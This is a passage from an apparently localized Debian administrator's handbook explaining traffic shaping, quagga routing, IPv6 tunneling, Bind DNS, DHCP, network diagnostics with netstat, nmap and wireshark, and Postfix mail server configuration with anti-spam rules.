The Debian kernels include the features required for QoS along with their associated modules. These modules are many, and each of them provides a different service, most notably by way of special schedulers for the queues of IP packets; the wide range of available scheduler behaviors spans the whole range of possible requirements.
CULTURE LARTC — Linux Advanced Routing & Traffic Control
The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.
QoS parameters are set through the tc command (provided by the iproute package). Since its interface is quite complex, using higher-level tools is recommended.
The main purpose of wondershaper (in the similarly-named package) is to minimize latencies independent of network load. This is achieved by limiting total traffic to a value that falls just short of the link saturation value.
Once a network interface is configured, setting up this traffic limitation is achieved by running wondershaper interface
download_rate
upload_rate
. The interface can be eth0
or ppp0
for example, and both rates are expressed in kilobits per second. The wondershaper remove interface
command disables traffic control on the specified interface.
For an Ethernet connection, this script is best called right after the interface is configured. This is done by adding up
and down
directives to the /etc/network/interfaces
file allowing declared commands to be run, respectively, after the interface is configured and before it is deconfigured. For example:
Exemplu 10.9. Changes in the /etc/network/interfaces
file
In the PPP case, creating a script that calls wondershaper in /etc/ppp/ip-up.d/
will enable traffic control as soon as the connection is up.
GOING FURTHER Optimal configuration
The
/usr/share/doc/wondershaper/README.Debian.gz
file describes, in some detail, the configuration method recommended by the package maintainer. In particular, it advises measuring the download and upload speeds so as to best evaluate real limits.
Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast
queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the ToS field (Type of Service) of this packet; modifying this field is enough to take advantage of the scheduling features. There are five possible values:
The ToS field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service:
The reference tool for dynamic routing is currently quagga, from the similarly-named package; it used to be zebra until development of the latter stopped. However, quagga kept the names of the programs for compatibility reasons which explains the zebra commands below.
BACK TO BASICS Dynamic routing
Dynamic routing allows routers to adjust, in real time, the paths used for transmitting IP packets. Each protocol involves its own method of defining routes (shortest path, use routes advertised by peers, and so on).
In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The route command defines new routes and displays existing ones.
Quagga is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon. The zebra daemon collects information from other daemons and handles static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, isisd, and babeld.
Daemons are enabled by editing the /etc/quagga/daemons
file and creating the appropriate configuration file in /etc/quagga/
; this configuration file must be named after the daemon, with a .conf
extension, and belong to the quagga
user and the quaggavty
group, in order for the /etc/init.d/quagga
script to invoke the daemon.
The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but the quagga-doc provides ample explanation in the form of an info file. The same contents may be more easily browsed as HTML on the Quagga website:
In addition, the syntax is very close to a standard router's configuration interface, and network administrators will adapt quickly to quagga.
IN PRACTICE OSPF, BGP or RIP?
OSPF is generally the best protocol to use for dynamic routing on private networks, but BGP is more common for Internet-wide routing. RIP is rather ancient, and hardly used anymore.
IPv6, successor to IPv4, is a new version of the IP protocol designed to fix its flaws, most notably the scarcity of available IP addresses. This protocol handles the network layer; its purpose is to provide a way to address machines, to convey data to their intended destination, and to handle data fragmentation if needed (in other words, to split packets into chunks with a size that depends on the network links to be used on the path and to reassemble the chunks in their proper order on arrival).
Debian kernels include IPv6 handling in the core kernel (with the exception of some architectures that have it compiled as a module named ipv6
). Basic tools such as ping and traceroute have their IPv6 equivalents in ping6 and traceroute6, available respectively in the iputils-ping and iputils-tracepath packages.
The IPv6 network is configured similarly to IPv4, in /etc/network/interfaces
. But if you want that network to be globally available, you must ensure that you have an IPv6-capable router relaying traffic to the global IPv6 network.
Exemplu 10.10. Example of IPv6 configuration
IPv6 subnets usually have a netmask of 64 bits. This means that 264 distinct addresses exist within the subnet. This allows Stateless Address Autoconfiguration (SLAAC) to pick an address based on the network interface's MAC address. By default, if SLAAC is activated in your network and IPv6 on your computer, the kernel will automatically find IPv6 routers and configure the network interfaces.
This behavior may have privacy implications. If you switch networks frequently, e.g. with a laptop, you might not want your MAC address being a part of your public IPv6 address. This makes it easy to identify the same device across networks. A solution to this are IPv6 privacy extensions (which Debian enables by default if IPv6 connectivity is detected during initial installation), which will assign an additional randomly generated address to the interface, periodically change them and prefer them for outgoing connections. Incoming connections can still use the address generated by SLAAC. The following example, for use in /etc/network/interfaces
, activates these privacy extensions.
Exemplu 10.11. IPv6 privacy extensions
TIP Programs built with IPv6
Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian have been adapted already, but not all. If your favorite package does not work with IPv6 yet, you can ask for help on the debian-ipv6 mailing-list. They might know about an IPv6-aware replacement and could file a bug to get the issue properly tracked.
IPv6 connections can be restricted, in the same fashion as for IPv4: the standard Debian kernels include an adaptation of netfilter for IPv6. This IPv6-enabled netfilter is configured in a similar fashion to its IPv4 counterpart, except the program to use is ip6tables instead of iptables.
CAUTION IPv6 tunneling and firewalls
IPv6 tunneling over IPv4 (as opposed to native IPv6) requires the firewall to accept the traffic, which uses IPv4 protocol number 41.
If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Gogo6 is one (free) provider of such tunnels:
To use a Freenet6 tunnel, you need to register for a Freenet6 Pro account on the website, then install the gogoc package and configure the tunnel. This requires editing the /etc/gogoc/gogoc.conf
file: userid
and password
lines received by e-mail should be added, and server
should be replaced with authenticated.freenet6.net
.
IPv6 connectivity is proposed to all machines on a local network by adding the three following directives to the /etc/gogoc/gogoc.conf
file (assuming the local network is connected to the eth0 interface):
The machine then becomes the access router for a subnet with a 56-bit prefix. Once the tunnel is aware of this change, the local network must be told about it; this implies installing the radvd daemon (from the similarly-named package). This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.
The /etc/radvd.conf
configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf
as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Freenet6; it can be found in the output of the ifconfig command, in the block concerning the tun
interface.
Then run service gogoc restart and service radvd start, and the IPv6 network should work.
The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org
instead of 5.153.231.4
or 2001:41c8:1000:21::21:4
.
DNS records are organized in zones; each zone matches either a domain (or a subdomain) or an IP address range (since IP addresses are generally allocated in consecutive ranges). A primary server is authoritative on the contents of a zone; secondary servers, usually hosted on separate machines, provide regularly refreshed copies of the primary zone.
Each zone can contain records of various kinds (Resource Records):
A
: IPv4 address. CNAME
: alias (canonical name). MX
: mail exchange, an email server. This information is used by other email servers to find where to send email addressed to a given address. Each MX record has a priority. The highest-priority server (with the lowest number) is tried first (see sidebar BACK TO BASICS SMTP); other servers are contacted in order of decreasing priority if the first one does not reply. PTR
: mapping of an IP address to a name. Such a record is stored in a “reverse DNS” zone named after the IP address range. For example, 1.168.192.in-addr.arpa
is the zone containing the reverse mapping for all addresses in the 192.168.1.0/24
range. AAAA
: IPv6 address. NS
: maps a name to a name server. Each domain must have at least one NS record. These records point at a DNS server that can answer queries concerning this domain; they usually point at the primary and secondary servers for the domain. These records also allow DNS delegation; for instance, the falcot.com
zone can include an NS record for internal.falcot.com
, which means that the internal.falcot.com
zone is handled by another server. Of course, this server must declare an internal.falcot.com
zone. The reference name server, Bind, was developed and is maintained by ISC (Internet Software Consortium). It is provided in Debian by the bind9 package. Version 9 brings two major changes compared to previous versions. First, the DNS server can now run under an unprivileged user, so that a security vulnerability in the server does not grant root privileges to the attacker (as was seen repeatedly with versions 8.x).
Furthermore, Bind supports the DNSSEC standard for signing (and therefore authenticating) DNS records, which allows blocking any spoofing of this data during man-in-the-middle attacks.
CULTURE DNSSEC
The DNSSEC norm is quite complex; this partly explains why it is not in widespread usage yet (even if it perfectly coexists with DNS servers unaware of DNSSEC). To understand all the ins and outs, you should check the following article.
Configuration files for bind, irrespective of version, have the same structure.
The Falcot administrators created a primary falcot.com
zone to store information related to this domain, and a 168.192.in-addr.arpa
zone for reverse mapping of IP addresses in the local networks.
CAUTION Names of reverse zones
Reverse zones have a particular name. The zone covering the
192.168.0.0/16
network needs to be named168.192.in-addr.arpa
: the IP address components are reversed, and followed by thein-addr.arpa
suffix.For IPv6 networks, the suffix is
ip6.arpa
and the IP address components which are reversed are each character in the full hexadecimal representation of the IP address. As such, the2001:0bc8:31a0::/48
network would use a zone named0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa
.
TIP Testing the DNS server
The host command (in the bind9-host package) queries a DNS server, and can be used to test the server configuration. For example, host machine.falcot.com localhost checks the local server's reply for the
machine.falcot.com
query. hostipaddress
localhost tests the reverse resolution.
The following configuration excerpts, taken from the Falcot files, can serve as starting points to configure a DNS server:
Exemplu 10.12. Excerpt of /etc/bind/named.conf.local
Exemplu 10.13. Excerpt of /etc/bind/db.falcot.com
CAUTION Syntax of a name
The syntax of machine names follows strict rules. For instance,
machine
impliesmachine.
. If the domain name should not be appended to a name, said name must be written asdomain
machine.
(with a dot as suffix). Indicating a DNS name outside the current domain therefore requires a syntax such asmachine.otherdomain.com.
(with the final dot).
Exemplu 10.14. Excerpt of /etc/bind/db.192.168
DHCP (for Dynamic Host Configuration Protocol) is a protocol by which a machine can automatically get its network configuration when it boots. This allows centralizing the management of network configurations, and ensuring that all desktop machines get similar settings.
A DHCP server provides many network-related parameters. The most common of these is an IP address and the network where the machine belongs, but it can also provide other information, such as DNS servers, WINS servers, NTP servers, and so on.
The Internet Software Consortium (also involved in developing bind) is the main author of the DHCP server. The matching Debian package is isc-dhcp-server.
The first elements that need to be edited in the DHCP server configuration file (/etc/dhcp/dhcpd.conf
) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative
directive must also be enabled (or uncommented). One also needs to create a subnet
section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24
local network with a router at 192.168.0.1
serving as the gateway. Available IP addresses are in the range 192.168.0.128
to 192.168.0.254
.
Exemplu 10.15. Excerpt of /etc/dhcp/dhcpd.conf
A nice feature is the automated registering of DHCP clients in the DNS zone, so that each machine gets a significant name (rather than something impersonal such as machine-192-168-0-131.internal.falcot.com
). Using this feature requires configuring the DNS server to accept updates to the internal.falcot.com
DNS zone from the DHCP server, and configuring the latter to submit updates for each registration.
In the bind case, the allow-update
directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com
domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).
Beware! A zone that can be modified will be changed by bind, and the latter will overwrite its configuration files at regular intervals. Since this automated procedure produces files that are less human-readable than manually-written ones, the Falcot administrators handle the internal.falcot.com
domain with a delegated DNS server; this means the falcot.com
zone file stays firmly under their manual control.
The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim;
and ddns-domain-name "internal.falcot.com";
lines in the block describing the subnet.
When a network application does not run as expected, it is important to be able to look under the hood. Even when everything seems to run smoothly, running a network diagnosis can help ensure everything is working as it should. Several diagnosis tools exists for this purpose; each one operates on a different level.
Let's first mention the netstat command (in the net-tools package); it displays an instant summary of a machine's network activity. When invoked with no argument, this command lists all open connections; this list can be very verbose since it includes many Unix-domain sockets (widely used by daemons) which do not involve the network at all (for example, dbus
communication, X11
traffic, and communications between virtual filesystems and the desktop).
Common invocations therefore use options that alter netstat's behavior. The most frequently used options include:
-t
, which filters the results to only include TCP connections; -u
, which works similarly for UDP connections; these options are not mutually exclusive, and one of them is enough to stop displaying Unix-domain connections; -a
, to also list listening sockets (waiting for incoming connections); -n
, to display the results numerically: IP addresses (no DNS resolution), port numbers (no aliases as defined in /etc/services
) and user ids (no login names); -p
, to list the processes involved; this option is only useful when netstat is run as root, since normal users will only see their own processes; -c
, to continuously refresh the list of connections. Other options, documented in the netstat(8) manual page, provide an even finer control over the displayed results. In practice, the first five options are so often used together that systems and network administrators practically acquired netstat -tupan as a reflex. Typical results, on a lightly loaded machine, may look like the following:
#
netstat -tupan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 397/rpcbind
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 431/sshd
tcp 0 0 0.0.0.0:36568 0.0.0.0:* LISTEN 407/rpc.statd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 762/exim4
tcp 0 272 192.168.1.242:22 192.168.1.129:44452 ESTABLISHED 1172/sshd: roland [
tcp6 0 0 :::111 :::* LISTEN 397/rpcbind
tcp6 0 0 :::22 :::* LISTEN 431/sshd
tcp6 0 0 ::1:25 :::* LISTEN 762/exim4
tcp6 0 0 :::35210 :::* LISTEN 407/rpc.statd
udp 0 0 0.0.0.0:39376 0.0.0.0:* 916/dhclient
udp 0 0 0.0.0.0:996 0.0.0.0:* 397/rpcbind
udp 0 0 127.0.0.1:1007 0.0.0.0:* 407/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:* 916/dhclient
udp 0 0 0.0.0.0:48720 0.0.0.0:* 451/avahi-daemon: r
udp 0 0 0.0.0.0:111 0.0.0.0:* 397/rpcbind
udp 0 0 192.168.1.242:123 0.0.0.0:* 539/ntpd
udp 0 0 127.0.0.1:123 0.0.0.0:* 539/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* 539/ntpd
udp 0 0 0.0.0.0:5353 0.0.0.0:* 451/avahi-daemon: r
udp 0 0 0.0.0.0:39172 0.0.0.0:* 407/rpc.statd
udp6 0 0 :::996 :::* 397/rpcbind
udp6 0 0 :::34277 :::* 407/rpc.statd
udp6 0 0 :::54852 :::* 916/dhclient
udp6 0 0 :::111 :::* 397/rpcbind
udp6 0 0 :::38007 :::* 451/avahi-daemon: r
udp6 0 0 fe80::5054:ff:fe99::123 :::* 539/ntpd
udp6 0 0 2001:bc8:3a7e:210:a:123 :::* 539/ntpd
udp6 0 0 2001:bc8:3a7e:210:5:123 :::* 539/ntpd
udp6 0 0 ::1:123 :::* 539/ntpd
udp6 0 0 :::123 :::* 539/ntpd
udp6 0 0 :::5353 :::* 451/avahi-daemon: r
As expected, this lists established connections, two SSH connections in this case, and applications waiting for incoming connections (listed as LISTEN
), notably the Exim4 email server listening on port 25.
nmap (in the similarly-named package) is, in a way, the remote equivalent for netstat. It can scan a set of “well-known” ports for one or several remote servers, and list the ports where an application is found to answer to incoming connections. Furthermore, nmap is able to identify some of these applications, sometimes even their version number. The counterpart of this tool is that, since it runs remotely, it cannot provide information on processes or users; however, it can operate on several targets at once.
A typical nmap invocation only uses the -A
option (so that nmap attempts to identify the versions of the server software it finds) followed by one or more IP addresses or DNS names of machines to scan. Again, many more options exist to finely control the behavior of nmap; please refer to the documentation in the nmap(1) manual page.
#
nmap mirtuel
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-09 16:46 CET
Nmap scan report for mirtuel (192.168.1.242)
Host is up (0.000013s latency).
rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds
#
nmap -A localhost
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-09 16:46 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000013s latency).
Other addresses for localhost (not scanned): 127.0.0.1
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 3 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
25/tcp open smtp Exim smtpd 4.84
| smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 36568/tcp status
|_ 100024 1 39172/udp status
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.7 - 3.15
Network Distance: 0 hops
Service Info: Host: mirtuel; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds
As expected, the SSH and Exim4 applications are listed. Note that not all applications listen on all IP addresses; since Exim4 is only accessible on the lo
loopback interface, it only appears during an analysis of localhost
and not when scanning mirtuel
(which maps to the eth0
interface on the same machine).
Sometimes, one needs to look at what actually goes on the wire, packet by packet. These cases call for a “frame analyzer”, more widely known as a sniffer. Such a tool observes all the packets that reach a given network interface, and displays them in a user-friendly way.
The venerable tool in this domain is tcpdump, available as a standard tool on a wide range of platforms. It allows many kinds of network traffic capture, but the representation of this traffic stays rather obscure. We will therefore not describe it in further detail.
A more recent (and more modern) tool, wireshark (in the wireshark package), has become the new reference in network traffic analysis due to its many decoding modules that allow for a simplified analysis of the captured packets. The packets are displayed graphically with an organization based on the protocol layers. This allows a user to visualize all protocols involved in a packet. For example, given a packet containing an HTTP request, wireshark displays, separately, the information concerning the physical layer, the Ethernet layer, the IP packet information, the TCP connection parameters, and finally the HTTP request itself.
Fig. 10.1. The wireshark network traffic analyzer
In our example, the packets traveling over SSH are filtered out (with the !tcp.port == 22
filter). The packet currently displayed was developed at the HTTP layer.
TIP wireshark with no graphical interface: tshark
When one cannot run a graphical interface, or does not wish to do so for whatever reason, a text-only version of wireshark also exists under the name tshark (in a separate tshark package). Most of the capture and decoding features are still available, but the lack of a graphical interface necessarily limits the interactions with the program (filtering packets after they've been captured, tracking of a given TCP connection, and so on). It can still be used as a first approach. If further manipulations are intended and require the graphical interface, the packets can be saved to a file and this file can be loaded into a graphical wireshark running on another machine.
Network services are the programs that users interact with directly in their daily work. They are the tip of the information system iceberg, and this chapter focuses on them; the hidden parts they rely on are the infrastructure we already described.
Many modern network services require encryption technology to operate reliably and securely, especially when used on the public Internet. X.509 Certificates (which may also be referred to as SSL Certificates or TLS Certificates) are frequently used for this purpose. A certificate for a specific domain can often be shared between more than one of the services discussed in this chapter.
The Falcot Corp administrators selected Postfix for the electronic mail server, due to its reliability and its ease of configuration. Indeed, its design enforces that each task is implemented in a process with the minimum set of required permissions, which is a great mitigation measure against security problems.
ALTERNATIVE The Exim4 server
Debian uses Exim4 as the default email server (which is why the initial installation includes Exim4). The configuration is provided by a separate package, exim4-config, and automatically customized based on the answers to a set of Debconf questions very similar to the questions asked by the postfix package.
The configuration can be either in one single file (
/etc/exim4/exim4.conf.template
) or split across a number of configuration snippets stored under/etc/exim4/conf.d/
. In both cases, the files are used by update-exim4.conf as templates to generate/var/lib/exim4/config.autogenerated
. The latter is the file used by Exim4. Thanks to this mechanism, values obtained through Exim's debconf configuration — which are stored in/etc/exim4/update-exim4.conf.conf
— can be injected in Exim's configuration file, even when the administrator or another package has altered the default Exim configuration.The Exim4 configuration file syntax has its peculiarities and its learning curve; however, once these peculiarities are understood, Exim4 is a very complete and powerful email server, as evidenced by the tens of pages of documentation.
The postfix package includes the main SMTP daemon. Other packages (such as postfix-ldap and postfix-pgsql) add extra functionality to Postfix, including access to mapping databases. You should only install them if you know that you need them.
BACK TO BASICS SMTP
SMTP (Simple Mail Transfer Protocol) is the protocol used by mail servers to exchange and route emails.
Several Debconf questions are asked during the installation of the package. The answers allow generating a first version of the /etc/postfix/main.cf
configuration file.
The first question deals with the type of setup. Only two of the proposed answers are relevant in case of an Internet-connected server, “Internet site” and “Internet with smarthost”. The former is appropriate for a server that receives incoming email and sends outgoing email directly to its recipients, and is therefore well-adapted to the Falcot Corp case. The latter is appropriate for a server receiving incoming email normally, but that sends outgoing email through an intermediate SMTP server — the “smarthost” — rather than directly to the recipient's server. This is mostly useful for individuals with a dynamic IP address, since many email servers reject messages coming straight from such an IP address. In this case, the smarthost will usually be the ISP's SMTP server, which is always configured to accept email coming from the ISP's customers and forward it appropriately. This setup (with a smarthost) is also relevant for servers that are not permanently connected to the internet, since it avoids having to manage a queue of undeliverable messages that need to be retried later.
VOCABULARY ISP
ISP is the acronym for “Internet Service Provider”. It covers an entity, often a commercial company, that provides Internet connections and the associated basic services (email, news and so on).
The second question deals with the full name of the machine, used to generate email addresses from a local user name; the full name of the machine ends up as the part after the at-sign (“@”). In the case of Falcot, the answer should be mail.falcot.com
. This is the only question asked by default, but the configuration it leads to is not complete enough for the needs of Falcot, which is why the administrators run dpkg-reconfigure postfix so as to be able to customize more parameters.
One of the extra questions asks for all the domain names related to this machine. The default list includes its full name as well as a few synonyms for localhost
, but the main falcot.com
domain needs to be added by hand. More generally, this question should usually be answered with all the domain names for which this machine should serve as an MX server; in other words, all the domain names for which the DNS says that this machine will accept email. This information ends up in the mydestination
variable of the main Postfix configuration file — /etc/postfix/main.cf
.
Fig. 11.1. Role of the DNS MX record while sending a mail
EXTRA Querying the MX records
When the DNS does not have an MX record for a domain, the email server will try sending the messages to the host itself, by using the matching A record (or AAAA in IPv6).
In some cases, the installation can also ask what networks should be allowed to send email via the machine. In its default configuration, Postfix only accepts emails coming from the machine itself; the local network will usually be added. The Falcot Corp administrators added 192.168.0.0/16
to the default answer. If the question is not asked, the relevant variable in the configuration file is mynetworks
, as seen in the example below.
Local email can also be delivered through procmail. This tool allows users to sort their incoming email according to rules stored in their ~/.procmailrc
file.
After this first step, the administrators got the following configuration file; it will be used as a starting point for adding some extra functionality in the next sections.
Exemplu 11.1. Initial /etc/postfix/main.cf
file
SECURITY Snake oil SSL certificates
The snake oil certificates, like the snake oil “medicine” sold by unscrupulous quacks in old times, have absolutely no value: you cannot rely on them to authenticate the server since they are automatically generated self-signed certificates. However they are useful to improve the privacy of the exchanges.
In general they should only be used for testing purposes, and normal service must use real certificates; these can be generated with the procedure described in Secțiune 10.2.1.1, „Public Key Infrastructure: easy-rsa”.
The mail server can receive emails addressed to other domains besides the main domain; these are then known as virtual domains. In most cases where this happens, the emails are not ultimately destined to local users. Postfix provides two interesting features for handling virtual domains.
CAUTION Virtual domains and canonical domains
None of the virtual domains must be referenced in the
mydestination
variable; this variable only contains the names of the “canonical” domains directly associated to the machine and its local users.
A virtual alias domain only contains aliases, i.e. addresses that only forward emails to other addresses.
Such a domain is enabled by adding its name to the virtual_alias_domains
variable, and referencing an address mapping file in the virtual_alias_maps
variable.
Exemplu 11.2. Directives to add in the /etc/postfix/main.cf
file
The /etc/postfix/virtual
file describes a mapping with a rather straightforward syntax: each line contains two fields separated by whitespace; the first field is the alias name, the second field is a list of email addresses where it redirects. The special @domain.com
syntax covers all remaining aliases in a domain.
Exemplu 11.3. Example /etc/postfix/virtual
file
CAUTION Combined virtual domain?
Postfix does not allow using the same domain in both
virtual_alias_domains
andvirtual_mailbox_domains
. However, every domain ofvirtual_mailbox_domains
is implicitly included invirtual_alias_domains
, which makes it possible to mix aliases and mailboxes within a virtual domain.
Messages addressed to a virtual mailbox domain are stored in mailboxes not assigned to a local system user.
Enabling a virtual mailbox domain requires naming this domain in the virtual_mailbox_domains
variable, and referencing a mailbox mapping file in virtual_mailbox_maps
. The virtual_mailbox_base
parameter contains the directory under which the mailboxes will be stored.
The virtual_uid_maps
parameter (respectively virtual_gid_maps
) references the file containing the mapping between the email address and the system user (respectively group) that “owns” the corresponding mailbox. To get all mailboxes owned by the same owner/group, the static:5000
syntax assigns a fixed UID/GID (of value 5000 here).
Exemplu 11.4. Directives to add in the /etc/postfix/main.cf
file
Again, the syntax of the /etc/postfix/vmailbox
file is quite straightforward: two fields separated with whitespace. The first field is an email address within one of the virtual domains, and the second field is the location of the associated mailbox (relative to the directory specified in virtual_mailbox_base). If the mailbox name ends with a slash (/
), the emails will be stored in the maildir format; otherwise, the traditional mbox format will be used. The maildir format uses a whole directory to store a mailbox, each individual message being stored in a separate file. In the mbox format, on the other hand, the whole mailbox is stored in one file, and each line starting with “From
” (From
followed by a space) signals the start of a new message.
Exemplu 11.5. The /etc/postfix/vmailbox
file
The growing number of unsolicited bulk emails (spam) requires being increasingly strict when deciding which emails a server should accept. This section presents some of the strategies included in Postfix.
CULTURE The spam problem
“Spam” is a generic term used to designate all the unsolicited commercial emails (also known as UCEs) that flood our electronic mailboxes; the unscrupulous individuals sending them are known as spammers. They care little about the nuisance they cause, since sending an email costs very little, and only a very small percentage of recipients need to be attracted by the offers for the spamming operation to make more money than it costs. The process is mostly automated, and any email address made public (for instance, on a web forum, or on the archives of a mailing list, or on a blog, and so on) will be discovered by the spammers' robots, and subjected to a never-ending stream of unsolicited messages.
All system administrators try to face this nuisance with spam filters, but of course spammers keep adjusting to try to work around these filters. Some even rent networks of machines compromised by a worm from various crime syndicates. Recent statistics estimate that up to 95% of all emails circulating on the Internet are spam!
The smtpd_client_restrictions
directive controls which machines are allowed to communicate with the email server.
Exemplu 11.6. Restrictions Based on Client Address
When a variable contains a list of rules, as in the example above, these rules are evaluated in order, from the first to the last. Each rule can accept the message, reject it, or leave the decision to a following rule. As a consequence, order matters, and simply switching two rules can lead to a widely different behavior.
The permit_mynetworks
directive, used as the first rule, accepts all emails coming from a machine in the local network (as defined by the mynetworks configuration variable).
The second directive would normally reject emails coming from machines without a completely valid DNS configuration. Such a valid configuration means that the IP address can be resolved to a name, and that this name, in turn, resolves to the IP address. This restriction is often too strict, since many email servers do not have a reverse DNS for their IP address. This explains why the Falcot administrators prepended the warn_if_reject
modifier to the reject_unknown_client
directive: this modifier turns the rejection into a simple warning recorded in the logs. The administrators can then keep an eye on the number of messages that would be rejected if the rule were actually enforced, and make an informed decision later if they wish to enable such enforcement.
TIP access tables
The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created from an uncompressed copy of the
/usr/share/doc/postfix-doc/examples/access.gz
file. This model is self-documented in its comments, which means each table describes its own syntax.The
/etc/postfix/access_clientip
table lists IP addresses and networks;/etc/postfix/access_helo
lists domain names;/etc/postfix/access_sender
contains sender email addresses. All these files need to be turned into hash-tables (a format optimized for fast access) after each change, with the postmap /etc/postfix/file
command.
The third directive allows the administrator to set up a blacklist and a whitelist of email servers, stored in the /etc/postfix/access_clientip
file. Servers in the whitelist are considered as trusted, and the emails coming from there therefore do not go through the following filtering rules.
The last two rules reject any message coming from a server listed in one of the indicated blacklists. RBL is an acronym for Remote Black List; there are several such lists, but they all list badly configured servers that spammers use to relay their emails, as well as unexpected mail relays such as machines infected with worms or viruses.
TIP White list and RBLs
Blacklists sometimes include a legitimate server that has been suffering an incident. In these situations, all emails coming from one of these servers would be rejected unless the server is listed in a whitelist defined by
/etc/postfix/access_clientip
.Prudence therefore recommends including in the whitelist all the trusted servers from which many emails are usually received.
Each SMTP exchange starts with a HELO
(or EHLO
) command, followed by the name of the sending email server; checking the validity of this name can be interesting.
Exemplu 11.7. Restrictions on the name announced in EHLO
The first permit_mynetworks
directive allows all machines on the local network to introduce themselves freely. This is important, because some email programs do not respect this part of the SMTP protocol adequately enough, and they can introduce themselves with nonsensical names.
The reject_invalid_hostname
rule rejects emails when the EHLO
announce lists a syntactically incorrect hostname. The reject_non_fqdn_hostname
rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_hostname
rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to too many rejections, the administrators turned its effect to a simple warning with the warn_if_reject
modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.
Using permit_mynetworks
as the first rule has an interesting side effect: the following rules only apply to hosts outside the local network. This allows blacklisting all hosts that announce themselves as part of the falcot.com
, for instance by adding a falcot.com REJECT You are not in our network!
line to the /etc/postfix/access_helo
file.
Every message has a sender, announced by the MAIL FROM
command of the SMTP protocol; again, this information can be validated in several different ways.
Exemplu 11.8. Sender checks
The /etc/postfix/access_sender
table maps some special treatment to some senders. This usually means listing some senders into a white list or a black list.
The reject_unknown_sender_domain
rule requires a valid sender domain, since it is needed for a valid address. The reject_unlisted_sender
rule rejects local senders if the address does not exist; this prevents emails from being sent from an invalid address in the falcot.com
domain, and messages emanating from joe.bloggs@falcot.com
are only accepted if such an address really exists.
Finally, the reject_non_fqdn_sender
rule rejects emails purporting to come from addresses without a fully-qualified domain name. In practice, this means rejecting emails coming from user@machine
: the address must be announced as either user@machine.example.com
or user@example.com
.
Each email has at least one recipient, announced with the RCPT TO
command in the SMTP protocol. These addresses also warrant validation, even if that may be less relevant than the checks made on the sender address.
Exemplu 11.9. Recipient checks
reject_unauth_destination
is the basic rule that requires outside messages to be addressed to us; messages sent to an address not served by this server are rejected. Without this rule, a server becomes an open relay that allows spammers to send unsolicited emails; this rule is therefore mandatory, and it will be best included near the beginning of the list, so that no other rules may authorize the message before its destination has been checked.
The reject_unlisted_recipient
rule rejects messages sent to non-existing local users, which makes sense. Finally, the reject_non_fqdn_recipient
rule rejects non-fully-qualified addresses; this makes it impossible to send an email to jean
or jean@machine
, and requires using the full address instead, such as jean@machine.falcot.com
or jean@falcot.com
.
The DATA
command of SMTP is emitted before the contents of the message. It doesn't provide any information per se, apart from announcing what comes next. It can still be subjected to checks.
Exemplu 11.10. DATA
checks
The reject_unauth_pipelining
directives causes the message to be rejected if the sending party sends a command before the reply to the previous command has been sent. This guards against a common optimization used by spammer robots, since they usually don't care a fig about replies and only focus on sending as many emails as possible in as short a time as possible.
Although the above commands validate information at various stages of the SMTP exchange, Postfix only sends the actual rejection as a reply to the RCPT TO
command.
This means that even if the message is rejected due to an invalid EHLO
command, Postfix knows the sender and the recipient when announcing the rejection. It can then log a more explicit message than it could if the transaction had been interrupted from the start. In addition, a number of SMTP clients do not expect failures on the early SMTP commands, and these clients will be less disturbed by this late rejection.
